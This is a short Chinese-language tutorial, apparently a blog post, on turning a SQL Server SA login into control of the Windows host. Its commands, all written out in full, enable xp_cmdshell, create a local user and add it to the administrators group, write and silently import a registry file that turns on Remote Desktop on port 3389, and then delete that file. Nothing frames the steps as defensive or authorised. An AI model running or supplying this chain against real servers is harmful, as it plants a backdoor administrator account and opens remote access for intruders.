通过数据库SA用户添加WINDOWS用户,开启远程桌面连接
一、修改数据库配置让他可以执行“xp_cmdsheel”过程
EXEC sp_configure ‘show advanced options’, 1
GO
— To update the currently configured value for advanced options.
RECONFIGURE
GO
— To enable the feature.
EXEC sp_configure ‘xp_cmdshell’, 1
GO
— To update the currently configured value for this feature.
RECONFIGURE
二、通过WINDOWS命令添加超级用户
exec xp_cmdshell ‘net user username pwd /add’
exec xp_cmdshell ‘net localgroup administrators username /add’
三、开户远程桌面连接服务
EXEC xp_cmdshell ‘echo Windows Registry Editor Version 5.00>3389.reg’
EXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg’
EXEC xp_cmdshell ‘echo “fDenyTSConnections”=dword:00000000>>3389.reg’
EXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg’
EXEC xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
EXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg’
EXEC xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
EXEC xp_cmdshell ‘regedit /s 3389.reg’
EXEC xp_cmdshell ‘del 3389.reg’